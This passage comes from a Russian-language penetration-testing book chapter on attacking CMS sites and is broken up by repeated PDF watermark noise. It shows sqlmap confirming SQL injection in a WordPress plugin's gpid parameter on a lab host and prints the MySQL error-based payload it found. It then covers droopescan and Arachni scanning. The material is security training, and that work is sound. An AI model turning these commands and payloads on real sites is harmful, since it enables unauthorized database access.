Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
16
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

sqlmap

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

Оценка приложения 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

321 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Чтобы подтвердить наличие этой уязвимости, перейдем к sqlmap, инстру- ментуде-фактодля эксплуатации уязвимостей,связанных с SQL-инъекциями. sqlmap поможет быстро генерировать полезные нагрузки, чтобы проверить наличие точек внедрения во всех системах управления базами данных

(СУБД), таких как MySQL, PostgreSQL, MS SQL и даже Microsoft Access. Чтобы запуститьновыйсеансsqlmap,передаемнашполныйцелевойURL-адресчерез параметр -u.

Обратите внимание, что целевой адрес содержит параметры GET-запроса, а также некоторые фиктивные данные. Если мы не сообщим sqlmap, что он должен сосредоточиться только на gpid, он проверит и все остальные параметры на предмет внедрения. Это подходит для масштабного обнаружения уязвимостей, связанных с SQL-инъекциями, а не просто для эксплуатации. Благодаря нашему запросу searchsploit мы знаем, что gpid является уязвимым параметром­ , и можем нацелить нашу атаку именно на него, используя параметр -p.

root@kali:~# sqlmap -u "http://cookingwithfire.local/wpcontent/ plugins/google-documentembedder/

view.php?embedded=1&gpid=0" -p gpid

[*] starting at 10:07:41

[10:07:41] [INFO] testing connection to the target URL [...]

Через несколько минут sqlmap обнаруживает, что в качестве базы данных используется MySQL,и мы можемдатьему задание,чтобы он проверялтолько полезные нагрузки, направленные на MySQL, что значительно повысит наши шансы на подтверждение наличия уязвимости.

[10:07:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'

[10:07:49] [INFO] GET parameter 'gpid' is 'MySQL >= 5.0 error-based

- Parameter replace (FLOOR)' injectable

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y

Что касается остальных тестов, то sqlmap подтвердит наличие уязвимости и сохранит состояние локально. Последующие атаки на цель будут использоватьидентифицированнуюполезнуюнагрузкувкачествеотправнойточкидля внедрения­ SQL-операторов.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 322  Глава 12.Атака на CMS

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

for the remaining tests, do you want to include all tests for

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

[10:07:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

GET parameter 'gpid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

sqlmap identified the following injection point(s) with a total of

62 HTTP(s) requests:

---

Parameter: gpid (GET) Type: error-based

Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR) Payload: embedded=1&gpid=(SELECT 1349 FROM(SELECT

COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(1349=1349,1))),0x716b6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

---

[10:08:07] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian

web application technology: Apache 2.4.25, PHP 7.2.3 back-end DBMS: MySQL >= 5.0

[10:08:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/cookingwithfire.local'

[*] shutting down at 10:08:07

root@kali:~#

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Если вы хотите протестировать этот уязвимый плагин в WordPress, можете загрузитьGoogle Document Embedder версии 2.5 со стра-

ницы https://github.com/wp-plugins/googledocument-embedder/

tags?after=2.5.1.

Droopescan

Хотя droopescan не такой полнофункциональный, как WPScan, он работает нетолькосWordPressиидеальноподходитдлясайтовнаDrupal,атакжеможет выполнять базовое сканирование для сайтов на Joomla.

Droopescan можно клонировать из GitHub и быстро установить.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Оценка приложения 

w Click

to

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

 

root@kali:~/tools# git clone https://github.com/droope/droopescan

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

323 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Cloning into 'droopescan'...

[...]

root@kali:~/tools# cd droopescan/ root@kali:~/tools/droopescan# ls

CHANGELOG droopescan dscan LICENSE MANIFEST.in README.md README.txt requirements_test.txt requirements.txt setup.cfg setup.py

После извлечения можем установитьзависимости вручную,используя pip и передав опцию require.txt в –r.

root@kali:~/tools/droopescan# pip install -r requirements.txt

Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3))

[...] root@kali:~/tools/droopescan#

Droopescan также можно установить глобально, используя скрипт setup.py и параметр install.

root@kali:~/tools/droopescan# python setup.py install

Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3))

[...] root@kali:~/tools/droopescan#

Для тестирования приложения можно запустить droopescan с опцией scan drupal, а цель– указать с помощью параметра –u.

root@kali:~# droopescan scan drupal -u http://ramblings.local -t 8

[+]No themes found.

[+]Possible interesting urls found:

Default admin - http://ramblings.local/user/login

[+]Possible version(s):

8.5.0-rc1

[+]No plugins found.

[+]Scan finished (0:03:34.527555 elapsed) root@kali:~#

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 324  Глава 12.Атака на CMS

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Этот инструмент отлично подойдет, когда нужно взломать сайт на Drupal,

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

WordPress или Jooml.

Arachni

Arachni несколько отличается от более специализированных инструментов, которые мы обсуждали ранее. Это полнофункциональный модульный фреймворк с возможностью распределенного сканирования с использованием удаленных агентов. При правильной настройке он может стать мощным средством при тестировании приложений.

Arachni – бесплатный фреймворк с открытым исходным кодом, и его легко установить. Им можно управлять с помощью простого в использовании вебинтерфейса пользователя или через командную строку.Этотфреймворктакже можно использовать для поиска уязвимостей в HTML5 и DOM,которые традиционные сканеры могут пропустить.

Предварительно скомпилированные двоичные файлы Arachni

можно найти на странице http://www.arachniscanner.com.

После извлечения файлов на диск нам нужно создать пользователя, чтобы иметь возможность войти в веб-интерфейс. Вспомогательная утилита arachni_web_create_user находится в папке bin.

root@kali:~/tools/arachni/bin# ./arachni_web_create_user root@kali.local A!WebOf-Lies* root

User 'root' with e-mail address 'root@kali.local' created with password 'A!WebOf-Lies*'.

root@kali:~/tools/arachni/bin#

Позаботьтесьо том,чтобы очиститьисторию своей оболочки,если устанавливаете Arachni в реальной эксплуатации.

Веб-интерфейс запускается с использованием сценария arachni_web в той же папке.

root@kali:~/tools/arachni/bin# ./arachni_web

Puma 2.14.0 starting...

*Min threads: 0, max threads: 16

* Environment: development

*Listening on tcp://localhost:9292

::1 - - "GET /unauthenticated HTTP/1.1" 302 - 0.0809

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

 

e

 

 

 

 

 

 

[...]

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

Оценка приложения 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

325 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

::1 - - "GET /navigation HTTP/1.1" 304 - 0.0473

::1 - - "GET /profiles?action=index&controller=profiles&tab=global HTTP/1.1" 200 - 0.0827

::1 - - "GET /navigation HTTP/1.1" 304 - 0.0463

Веб-интерфейс пользователя по умолчанию работаетна http://localhost: 9292.Здесьмы можем сразу же начатьновое сканирование или запланировать его на потом. Также можем создать профиль сканирования или взаимодействовать с удаленным агентом.

Arachni поставляется с тремя профилями сканирования:

по умолчанию (Default);

межсайтовый скриптинг (XSS);

SQL-инъекция (SQL injection).

ПрофильDefault выполняетразличные проверки и ищетинтересные файлы

илегкие мишени.XSS и SQL injection–это профили более узкой направленности,ориентированныенауязвимости,связанныесмежсайтовымскриптингом

иSQL-инъекциями.

Чтобызапуститьновоесканированиеспомощьювеб-интерфейса,выберите New из выпадающего списка Scans (Сканирования), как показано ниже.

Рис.12.3. Запуск нового сканирования в Arachni

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 326  Глава 12.Атака на CMS

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Мы также можем следить за ходом сканирования, просматривая страницу

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

Scans.

На рисунке показан пример сканирования jimsblog.local, сайта на

WordPress.

Рис.12.4. Идет сканирование

Проблемы перечисляются под статусом сканирования по мере их обнаружения, но более полный отчет доступен после завершения сканирования. В разделе Issues (Проблемы) можно увидеть,что обнаружил Arachni.

Рис.12.5. Проблемы,выявленные Arachni